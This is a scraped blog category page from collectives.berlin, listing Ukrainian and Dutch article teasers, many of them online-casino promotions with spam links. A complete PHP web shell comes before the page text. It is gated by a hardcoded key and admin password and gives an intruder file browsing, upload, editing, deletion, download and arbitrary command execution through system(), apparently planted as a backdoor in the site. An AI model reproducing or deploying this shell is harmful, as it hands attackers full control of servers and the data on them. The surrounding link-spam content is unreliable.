if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 48 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Як написати сильний заголовок, який привертає увагу

    У сучасному інформаційному середовищі, https://reportonline.net.ua де кожен день з’являється безліч нових статей, блогів і реклами, важливо вміти створювати заголовки, які здатні привернути увагу читачів. Сильний заголовок не тільки зацікавлює, але й спонукає до подальшого читання. У цій статті ми розглянемо кілька ключових аспектів, які допоможуть вам написати ефективний заголовок. По-перше, заголовок повинен бути чітким і…

    Click or not…

  • Inzetvereisten bij Manga Casino Uitgelegd

    In de wereld van online gokken zijn inzetvereisten een cruciaal aspect dat spelers moeten begrijpen, vooral bij het spelen in casino’s zoals Manga Casino. Inzetvereisten, ook wel bekend als weddenschapsvereisten, zijn de voorwaarden die een speler moet vervullen voordat zij hun bonus of winsten kunnen opnemen. Dit rapport biedt een gedetailleerde uitleg van deze vereisten…

    Click or not…

  • Inzetvereisten bij Sportybet Casino Uitgelegd

    In de wereld van online gokken zijn inzetvereisten een cruciaal aspect dat spelers moeten begrijpen voordat ze beginnen met spelen. Bij Sportybet Casino, web page een populaire keuze onder gokliefhebbers, zijn deze vereisten van groot belang. Dit rapport biedt een gedetailleerde uitleg over de inzetvereisten bij Sportybet Casino, zodat spelers goed geïnformeerd hun spelervaring kunnen…

    Click or not…

  • Verantwoord Spelen bij Volerbet Casino: Limieten Instellen

    In de wereld van online gokken is verantwoord spelen een cruciaal aspect dat zowel spelers als aanbieders van kansspelen aangaat. Volerbet Casino, een populaire online goksite, hecht veel waarde aan de bescherming van zijn spelers en biedt verschillende tools en richtlijnen aan om verantwoord spelen te bevorderen. Een van de belangrijkste instrumenten die spelers kunnen…

    Click or not…

  • Як виховати самостійність у дитини з раннього віку

    Виховання самостійності у дитини з раннього віку є однією з найважливіших задач батьків. Самостійність формує у дитини впевненість у собі, https://parentworld.org.ua відповідальність і здатність приймати рішення. У цьому звіті ми розглянемо основні методи та підходи до виховання самостійності у дітей. По-перше, важливо створити середовище, яке сприяє розвитку самостійності. Діти повинні мати можливість досліджувати навколишній світ,…

    Click or not…

  • Підтримка дитини з особливими освітніми потребами

    Підтримка дитини з особливими освітніми потребами є важливим аспектом сучасної освіти, оскільки вона забезпечує рівні можливості для всіх учнів, незалежно від їхніх здібностей чи обмежень. Діти з особливими освітніми потребами (ООП) можуть мати різні труднощі, пов’язані з навчанням, спілкуванням, соціалізацією або фізичним розвитком. Тому важливо розробити індивідуалізований підхід до навчання, kidsplanet.org.ua який враховує унікальні потреби…

    Click or not…

  • Топ хорорів для любителів гострих відчуттів

    Хорор — це жанр, який здатен викликати у глядачів справжній адреналін, занурюючи їх у світ страху, напруги та незабутніх емоцій. Сьогодні ми розглянемо найкращі фільми жахів, які варто переглянути всім любителям гострих відчуттів. Цей список включає як класичні, https://gamesonline.net.ua так і сучасні роботи, що залишили свій слід у серцях фанатів жанру. Першим у нашому списку…

    Click or not…

  • Медіаграмотність: навички, необхідні кожному громадянину

    Медіаграмотність є однією з найважливіших навичок сучасного суспільства, що дозволяє людям ефективно орієнтуватися в інформаційному просторі, критично оцінювати інформацію та робити обґрунтовані рішення. У світі, https://pressdigest.org.ua де інформація поширюється миттєво, а фейки та маніпуляції стають все більш поширеними, медіаграмотність є необхідною умовою для активного і свідомого громадянства. Основними компонентами медіаграмотності є вміння знаходити, оцінювати та…

    Click or not…

  • Jackpot Gokkasten bij Qbet Casino: Waar Vind Je Ze

    Jackpot gokkasten zijn een van de meest populaire spellen in online casino’s, en Qbet Casino vormt hierop geen uitzondering. Dit platform biedt een breed scala aan gokkasten, waaronder een indrukwekkende selectie van jackpot gokkasten die spelers de kans geven om enorme prijzen te winnen. In dit rapport gaan we dieper in op waar je deze…

    Click or not…

  • Jackpot Gokkasten bij Instasino Casino: Waar Vind Je Ze

    Jackpot gokkasten zijn een van de meest populaire vormen van online gokken, en Instasino Casino biedt een uitgebreide selectie van deze spannende spellen. Dit rapport onderzoekt waar je jackpot gokkasten kunt vinden bij Instasino Casino, evenals enkele belangrijke details over deze spellen en hun aantrekkingskracht voor spelers. Instasino Casino is een relatief nieuwe speler in…

    Click or not…